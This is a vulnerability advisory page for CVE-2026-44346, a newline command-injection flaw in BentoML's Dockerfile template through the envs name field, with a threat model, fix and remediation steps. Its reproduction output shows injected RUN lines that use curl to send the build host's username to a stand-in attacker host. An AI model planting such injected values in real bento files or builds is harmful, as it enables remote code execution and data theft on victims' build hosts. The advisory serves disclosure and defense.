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BentoML CVE-2026-44346

| EUVDEUVD-2026-32609 HIGH
OS Command Injection (CWE-78)
2026-05-11 https://github.com/bentoml/BentoML GHSA-w2pm-x38x-jp44
8.8
CVSS 3.1 · GitHub Advisory
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Severity by source

GitHub Advisory PRIMARY
8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
May 11, 2026 - 14:46 vuln.today
Analysis Generated
May 11, 2026 - 14:46 vuln.today
CVE Published
May 11, 2026 - 14:27 nvd
HIGH 8.8

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 20 pypi packages depend on bentoml (20 direct, 0 indirect)

Ecosystem-wide dependent count for version 1.4.39.

DescriptionGitHub Advisory

BentoML envs[*].name Dockerfile command injection - sibling of CVE-2026-33744 / CVE-2026-35043

A malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. Verified end-to-end on bentoml==1.4.38.

Vulnerable code

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73:

jinja
{% for env in __bento_envs__ %}
{% set stage = env.stage | default("all") -%}
{% if stage != "runtime" -%}
ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
ENV {{ env.name }}=${{ env.name }}
{% endif -%}
{% endfor %}

env.value is bash-quoted via the bash_quote filter, but env.name is interpolated raw with no escaping or newline filtering. The template is rendered by _bentoml_impl/docker.generate_dockerfile (the v2 SDK Docker generation path used by bentoml containerize for modern services).

Sibling relationship to existing CVEs

The earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field:

  • CVE-2026-33744 / GHSA-jfjg-vc52-wqvf (2026-03-25): added bash_quote to system_packages interpolation in Dockerfile templates and images.py.
  • CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw (2026-04-02): added shlex.quote to system_packages in the cloud deployment path (_internal/cloud/deployment.py:1648).

Both patches limit themselves to system_packages. The envs[*].name field is the same root-cause class (bentofile.yaml value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope.

Reproduction

bash
pip install bentoml==1.4.38
python verify_render.py

Expected:

[*] rendered Dockerfile size: 1789 bytes
[*] injected RUN lines: 3
    RUN curl -fsSL http://attacker.example.com/$(whoami)=1
    RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO
    RUN curl -fsSL http://attacker.example.com/$(whoami)

Each injected RUN line is a Dockerfile command that runs during docker build. With $(whoami) shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username.

Threat model

  1. Attacker authors a malicious bento with a crafted bentofile.yaml.
  2. Attacker exports the bento (.bento or .tar.gz) and distributes (S3, HTTP, BentoCloud share, etc.).
  3. Victim imports with bentoml import bento.tar; no validation of envs content.
  4. Victim runs bentoml containerize to build the container image.
  5. BentoML renders the Dockerfile with the attacker's envs values, producing injected RUN lines.
  6. docker build (or BuildKit) executes the injected RUN commands on the build host, achieving RCE in the victim's build environment.

The flow mirrors CVE-2026-33744 exactly, with envs substituted for system_packages.

Suggested fix

In base_v2.j2 lines 71-73, apply the bash_quote filter to env.name (and to the =$VAR reference in the ENV line, since the variable name itself is reused there):

jinja
ARG {{ env.name | bash_quote }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
ENV {{ env.name | bash_quote }}=${{ env.name | bash_quote }}

Better, since env.name is semantically a Dockerfile identifier, validate at the schema level: in bentoml/_internal/bento/build_config.py:BentoEnvSchema, add an attr.validators.matches_re(r"^[A-Za-z_][A-Za-z0-9_]*$") to the name field so newline / shell-metacharacter values are rejected at config load.

Affected versions

  • bentoml 1.4.38 (verified end-to-end)
  • Likely all 1.x versions where _bentoml_impl/docker.py exists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings.

Disclosure

Requesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request.

PoC artifacts

Gated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc

AnalysisAI

Command injection in BentoML 1.4.38 and earlier allows attackers to execute arbitrary code on build hosts when victims containerize malicious bentos. Exploitation occurs during the bentoml containerize workflow when unvalidated envs[*].name and docker.base_image fields from imported bentofile.yaml are interpolated into generated Dockerfiles without escaping, enabling newline-injection of RUN directives executed by docker build. This is a sibling vulnerability to CVE-2026-33744 and CVE-2026-35043 which patched the same injection class in system_packages fields but left these additional attack surfaces unaddressed. Patch version 1.4.39 available from vendor. No CISA KEV listing or public POC outside gated HuggingFace repository at time of analysis, but end-to-end reproduction confirmed by reporter on BentoML 1.4.38.

Technical ContextAI

BentoML is a Python framework for serving machine learning models in production. The vulnerability lies in BentoML's Dockerfile generation engine (v2 SDK path) which uses Jinja2 templates to render Dockerfiles from bentofile.yaml configuration. The template file base_v2.j2 interpolates user-controlled values from imported bento archives directly into Dockerfile directives without sanitization. While the bash_quote filter protects env.value fields, the env.name field and docker.base_image field bypass this protection entirely. This creates a template injection scenario where newline characters in attacker-controlled YAML values break out of the intended ARG/ENV/FROM directives and inject arbitrary Dockerfile RUN commands. The CPE pkg:pip/bentoml indicates this affects the Python package distribution. The CWE-78 classification (OS Command Injection) reflects the root cause: untrusted input flowing into a command interpretation context (Dockerfile executed by Docker daemon) without neutralization of special elements (newlines functioning as Dockerfile directive separators).

RemediationAI

Upgrade BentoML to version 1.4.39 or later via pip install --upgrade bentoml>=1.4.39 which patches both the envs[*].name and docker.base_image injection vectors. The fix applies bash_quote filtering to env.name fields and validates docker.base_image against a regex rejecting newline characters. If immediate upgrade is not feasible, implement compensating controls: (1) restrict bento imports to internal registries with code review and signature verification for all bentofile.yaml content; (2) execute bentoml containerize in isolated build containers with no network egress and read-only access to secrets, limiting blast radius of injected commands; (3) add pre-import validation scanning bentofile.yaml for newline characters in envs[*].name and docker.base_image fields, rejecting any multi-line values (trade-off: breaks legitimate multi-line base_image references if they exist, though Docker image references are single-line by specification); (4) monitor Docker build logs for unexpected RUN directives or external network connections during containerize operations. Advisory URLs: https://github.com/bentoml/BentoML/security/advisories/GHSA-78f9-r8mh-4xm2 and https://github.com/bentoml/BentoML/security/advisories/GHSA-w2pm-x38x-jp44. Note the patch addresses the template layer; enhanced defense-in-depth would add schema-level validation in BentoEnvSchema rejecting non-identifier characters in env.name.

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CVE-2026-44346 vulnerability details – vuln.today

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